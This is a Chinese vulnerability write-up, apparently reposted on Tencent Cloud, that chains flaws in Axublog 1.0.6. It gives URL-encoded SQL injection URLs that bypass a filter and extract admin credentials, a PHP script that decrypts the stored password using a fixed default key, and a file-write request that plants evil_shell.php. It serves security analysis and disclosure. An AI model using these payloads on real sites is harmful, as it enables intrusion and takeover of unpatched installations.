Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >2018,我要Axublog。

2018,我要Axublog。

作者头像
漏斗社区
发布于 2018-03-28 03:24:20
发布于 2018-03-28 03:24:20
73400
代码可运行
举报
文章被收录于专栏:漏斗社区漏斗社区
运行总次数:0
代码可运行

0x00 背景

看了cnvd上有师傅发了Axublog 的漏洞,便对该源码进行分析和漏洞复现,在漏洞复现过程发现可以将这些漏洞组合利用从而通过前台SQL注入与后台任意文件上传可以轻松获取GetShell,当然该源码还存在许多安全问题,本篇未涉及。 源码下载地址:http://pic.axublog.com/axublog1.0.6install.rar

0x01 前台SQL注入

源码版本:Axublog axublog v1.0.6 漏洞位置:hit.php 漏洞链接:http://www.cnvd.org.cn/flaw/show/CNVD-2017-35761

下载源码并进行安装,根据CNVD上的描述,存在漏洞的文件是ad/theme.php,打开目标文件进行审计,经过审计发现改文件还存在其他多个漏洞,本篇先不做分析。

1. 根据CNVD上的描述,在hit.php文件中发现如下代码块,使用GET接收参数id的值并且直接传入到SQL语句进行拼接操作,且没有进行任何安全处理,所以存在SQL注入漏洞,在文件的第20行中将SQL语句的执行结果打印出来,因此是有回显的SQL注入。

2. 此处是前台的页面,因此可以在前台直接访问该页面,进行SQL注入获取数据库中的敏感信息,首先需要满足if条件语句的要求,使用GET请求g参数的值为arthit,id参数的值不为空,进行如下请求后使用mysql监控工具,监测执行的SQL语句,确保传入的参数已经执行。

3. 执行如下请求发现被拦截了,然后在文件的第4-5行发现sqlguolv方法。

4. 跟入该方法在axublog1.0.6\class\c_other.php文件的第545-548行中发现了该方法的代码块。

5. 该代码块使用$_SERVER['QUERY_STRING']获取查询语句,一般是问号后面的字符串,但是使用$_SERVER['QUERY_STRING']并不会对传入的字符进行一次URL解码操作,但是$_GET是会进行一次URL解码的,并且传入id值使用的是$_GET的方式接收,过滤的时候使用$_SERVER['QUERY_STRING']进行接收和处理,所以可以使用url编码绕过检测。 获取管理员用户名。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1 +%55NION+ALL+%53ELECT+1,2,3,4,5,6,adnaa,8,9,10,11,12 from axublog_adusers

获取管理员用户密码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1 +%55NION+ALL+%53ELECT+1,2,3,4,5,6,adpss,8,9,10,11,12 from axublog_adusers

6. 在分析的时候发现axublog1.0.6\ad\login.php的第88行中密码使用了authcode方法进行加密。

7. 跟入authcode方法,在axublog1.0.6\class\c_md5.php文件的第16-62行中发现了该方法的代码块,将该加解密的方法抓取出来,然后结合axublog1.0.6\ad\login.php的第88行,可以知道加解密的字符串写成固定的值key,使用如下的方式获取从数据库中得到的管理员密码明文,然后便可以登录后台。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.<?php
2.function authcode($string, $operation = 'DECODE', $key = '', $expiry = 30) {
3.    $ckey_length = 0;
4.// 随机密钥长度 取值 0-32;
5.// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
6.// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
7.// 当此值为 0 时,则不产生随机密钥
8.    $key = md5($key ? $key : EABAX::getAppInf('KEY'));
9.    $keya = md5(substr($key, 0, 16));
10.    $keyb = md5(substr($key, 16, 16));
11.    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
12.    $cryptkey = $keya.md5($keya.$keyc);
13.    $key_length = strlen($cryptkey);
14.    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
15.    $string_length = strlen($string);
16.    $result = '';
17.    $box = range(0, 255);
18.    $rndkey = array();
19.    for($i = 0; $i <= 255; $i++) {
20.        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
21.    }
22.    for($j = $i = 0; $i < 256; $i++) {
23.        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
24.        $tmp = $box[$i];
25.        $box[$i] = $box[$j];
26.        $box[$j] = $tmp;
27.    }
28.    for($a = $j = $i = 0; $i < $string_length; $i++) {
29.        $a = ($a + 1) % 256;
30.        $j = ($j + $box[$a]) % 256;
31.        $tmp = $box[$a];
32.        $box[$a] = $box[$j];
33.        $box[$j] = $tmp;
34.        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
35.    }
36.    if($operation == 'DECODE') {
37.        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
38.            return substr($result, 26);
39.        } else {
40.            return '';
41.        }
42.    } else {
43.        return $keyc.str_replace('=', '', base64_encode($result));
44.    }
45.}
46.
47.$psw='yYxvHseLMURYWjMXuICtH2jsBTQNdXog43es9PZUng';
48.echo authcode(@$psw, 'DECODE', 'key',0)
49.
50.?>

0x02 任意文件上传漏洞

源码版本:Axublog axublog v1.0.6 漏洞位置:ad/theme.php 漏洞链接:http://www.cnvd.org.cn/flaw/show/CNVD-2017-36013

1. 在ad/theme.php文件中的第185-205行中发现edit2save方法中的如下代码块,是进行文件的报存操作,将REQUEST请求的的path参数和content参数分别作为作为报存的路径和内容传入file_put_contents中进行保存操作。

2. 追溯寻找edit2save方法被调用的位置,在文件ad/theme.php中的第10-25行中发现如下代码,当GET传入的g参数的值为edit2save时候便会调用edit2save方法。

3. 但是由于该文件需要登录到后台访问,所以有一定的限制,但是与前台SQL注入漏洞利用便可以使用管理员账号登录,进行如下请求可以对该漏洞进行验证;使用GET传入g=edit2save,使用POST传入path=./evil_shell.php&content=<?php phpinfo();?>

然后再访问http://127.0.0.1/code/axublog1.0.6/ad/evil_shell.php,便可以访问到上传的恶意文件。

0x03 总结

本篇涉及Axublog的3个主要问题:1.前台SQL过滤可以被绕过,2. 加密的key默认是固定的,3. 后台存在任意文件上传,因此利用这3个问题便可以前台GetShell,最后感谢师傅们的指导,期待和师傅们的各种交流。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-01-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Freebuf漏斗专栏之代码审计| Axublog前台SQL注入到后台GetShell
0×00 背景 看了cnvd上有师傅发了Axublog 的漏洞,便对该源码进行分析和漏洞复现,在漏洞复现过程发现可以将这些漏洞组合利用从而通过前台SQL注入与后台任意文件上传可以轻松获取GetShell,当然该源码还存在许多安全问题,本篇未涉及。 源码下载地址:http://pic.axublog.com/axublog1.0.6install.rar 0×01 前台SQL注入 源码版本:Axublog axublog v1.0.6 漏洞位置:hit.php 漏洞链接:h
奶糖味的代言
2018/04/16
1K0
Freebuf漏斗专栏之代码审计| Axublog前台SQL注入到后台GetShell
康盛(discuz )牛逼的PHP加解密算法函数
  康盛的 authcode 函数很牛叉,是一个具有有效期的加解密函数,同一个字符每次加密所产生的结果都是不一致的,并且可以自定义设置过期时间。
那一叶随风
2018/08/22
1.6K0
Discuz用户登录身份标识authcode函数
php /** * $string 明文或密文 * $operation 加密ENCODE或解密DECODE * $key 密钥 * $expiry 密钥有效期 */ function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难
苦咖啡
2018/04/28
2.2K0
经典加密解密函数
<?php /** * 加密解密函数 * @param string $string 明文 或 密文 * @param string $operation DECODE 解密 | EN
joshua317
2018/04/16
7320
经典的PHP加密解密算法
项目中有时我们需要使用PHP将特定的信息进行加密,也就是通过加密算法生成一个加密字符串,这个加密后的字符串可以通过解密算法进行解密,便于程序对解密后的信息进行处理。 最常见的应用在用户登录以及一些API数据交换的场景。
用户8099761
2023/05/10
1.9K0
PHP常用函数 Discuz!加解密函数
近期项目进行到了对数据的加解密,生成_token,增加授权认证,找到了比较安全且使用范围比较广的Discuz!加解密函数,分享一下:
Meng小羽
2019/12/23
8420
介绍三种PHP加密解密算法
这里主要介绍三种常用的加密解密算法: 方法一: /** * @param $string 要加密/解密的字符串 * @param string $operation 类型,ENCODE 加密;DECODE 解密 * @param string $key 密匙 * @param int $expiry 有效期 * @return string */ function authcode($string, $operation = 'DECODE', $key = 'encryp
用户8099761
2023/05/11
5670
记录下几种php加密算法
偶然间在别人博客发现的,感觉挺实用就给搬了过来 <?php /** * rc4,解密方法直接再一次加密就是解密 * @param [type] $data 要加密的数据 * @param
用户8099761
2023/05/11
3300
记录下几种php加密算法
6种php加密解密方法
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/166656.html原文链接:https://javaforall.cn
全栈程序员站长
2022/09/19
1.6K0
Discuz_X authkey安全性漏洞分析
2017年8月1日,Discuz!发布了X3.4版本,此次更新中修复了authkey生成算法的安全性漏洞,通过authkey安全性漏洞,我们可以获得authkey。系统中逻辑大量使用authkey以及authcode算法,通过该漏洞可导致一系列安全问题:邮箱校验的hash参数被破解,导致任意用户绑定邮箱可被修改等… 2017年8月22日,360cert团队发布了对该补丁的分析,我们对整个漏洞进行了进一步分析,对漏洞的部分利用方式进行了探究。
LoRexxar
2023/02/21
8930
Discuz_X authkey安全性漏洞分析
冷场了吗?我带着phpcms9.6.2 注入来救场了
0x00 背景 最近做代码审计的时候发现phpcms 有更新,现在漏洞详情基本不公开,想要知道漏洞的利用方法只能自己审计了,通常可进行新旧版本的代码比较了,来定位旧版本的漏洞位置,便下载了phpcms 9.6.3与phpcms 9.6.1 和phpcms 9.6.2的源码进行比较和审计,发现phpcms 9.6.2 中存在任意文件下载补丁绕过和前台SQL注入,便撰写了本文做个记录,期待和师傅们的各种交流和讨论。 0x01 任意文件下载补丁绕过 对比phpcms 9.6.2 版本与phpcms 9.6.1
漏斗社区
2018/03/28
1.7K0
冷场了吗?我带着phpcms9.6.2 注入来救场了
php中常用的Rc4/Des/AuthCode可逆加密函数
首先是AuthCode可逆加密函数,在dz论坛等各大程序的数据传输和登陆验证都有用到。
V站CEO-西顾
2018/06/10
1.4K0
PHP字符串增强加密
为了增加数据的安全性 避免相同字符多次加密得到结果是一致的 可以设置密文有效期 加密方式:Mcrypt::encode(Str, n); 解密方式: Mcrypt::decode(Str, n); require("Mcrypt.class.php") ; $code = Mcrypt::encode('sajkfcasjcla','7580'); echo "code-".$code; $code_ans = Mcrypt::decode("$code",'758
红目香薰
2022/11/29
1.4K0
php对称加密
这几天在逛博客的时候看到个一个比较强的加解密模块,于是分享给大家。 同一个字符串,每次加密出来的结果都是不同的,而且还可以设定加密后的数据的有效时间,实在是太棒了,
天方
2022/08/30
1.7K0
Yii框架应用程序整合Ucenter实现同步注册、登录和退出等
如今很多网站都要整合论坛程序,而康盛的Discuz系列产品往往是首选。然后就有了整合用户的需要,康盛提供了Ucenter架构,方便对不同的应用程序进行单点登录整合。 进来我尝试将ucenter整合到Yii网站中,获得了成功,虽然登录同步程序不是很妥当,基本使用没有问题了。我将继续改进。下面说说步骤: 下载安装ucenter和discuz,我使用的是ucenter1.6和discuz7.2,由于7.2自带的uc_client是旧版本,所以需要覆盖一下1.6版本。 复制一份uc_client文件夹到 prote
joshua317
2018/04/16
1.8K0
2024全网最全面及最新且最为详细的网络安全技巧四 之 sql注入以及mysql绕过技巧 (1)———— 作者:LJS
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库乃至整个应用系统的入侵
盛透侧视攻城狮
2024/10/22
2080
2024全网最全面及最新且最为详细的网络安全技巧四 之 sql注入以及mysql绕过技巧 (1)———— 作者:LJS
DASCTF|2022DASCTF May出题人挑战赛官方Write
6.但是如果上传常规文件无法被解析,说明上述文件列表为白名单,这里直接上传users.go文件
安恒网络空间安全讲武堂
2022/08/31
1.8K0
rc4+ctf常用编码加密shellcode
本文不会解释rc4加密是什么,以及ctf编码在我的理解中为一个大类,并非单独一种编码形式,当然不管是rc4还是ctf编码,其宗旨都是为了使字符串变得“毫无意义”从而达成无法被杀软正确的检查出是shellcode。 其实这篇文章更多的算是踩坑记录,因为本身代码的实现复制粘贴即可,讲加密代码的原理也大可不必,不可逆就行了。 目前针对rc4网上有不同的写法,主要根本是环境的不同,分别有
Elapse
2022/10/27
1.3K0
rc4+ctf常用编码加密shellcode
【愚公系列】2022年01月 攻防世界-进阶题-MISC-80(Py-Py-Py)
文章目录 一、Py-Py-Py 二、答题步骤 1.下载附件 2.stegosaurus 一、Py-Py-Py 题目链接:https://adworld.xctf.org.cn/task/task_li
愚公搬代码
2022/01/31
8760
【愚公系列】2022年01月 攻防世界-进阶题-MISC-80(Py-Py-Py)
免杀 | 利用Python免杀CS Shellcode
2019年,告别了coder的世界,告别了从前的生活。我决定暂时抛开金钱至上的价值体系,以一个Fucking loser的身份去寻找人生中的三大哲学问题,我是谁,我在哪儿,我在做什么。褪去了互联网行业的尔虞我诈,轻浮缥缈。在这个铺天盖地的泛娱乐时代,我决定去看看大海,去感受下海水的味道,没错,它确实是咸的。当沙滩上的沙子铺满全身的那一刻,我,拥有了几分钟童年。在途中,偶遇了黄河,没错,它确实很黄,并且波涛汹涌。也在这途中,缘分使我进入了曾经告别的安全行业。
HACK学习
2020/02/26
4.5K0
相关推荐
Freebuf漏斗专栏之代码审计| Axublog前台SQL注入到后台GetShell
更多 >
领券
💥开发者 MCP广场重磅上线!
精选全网热门MCP server,让你的AI更好用 🚀
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验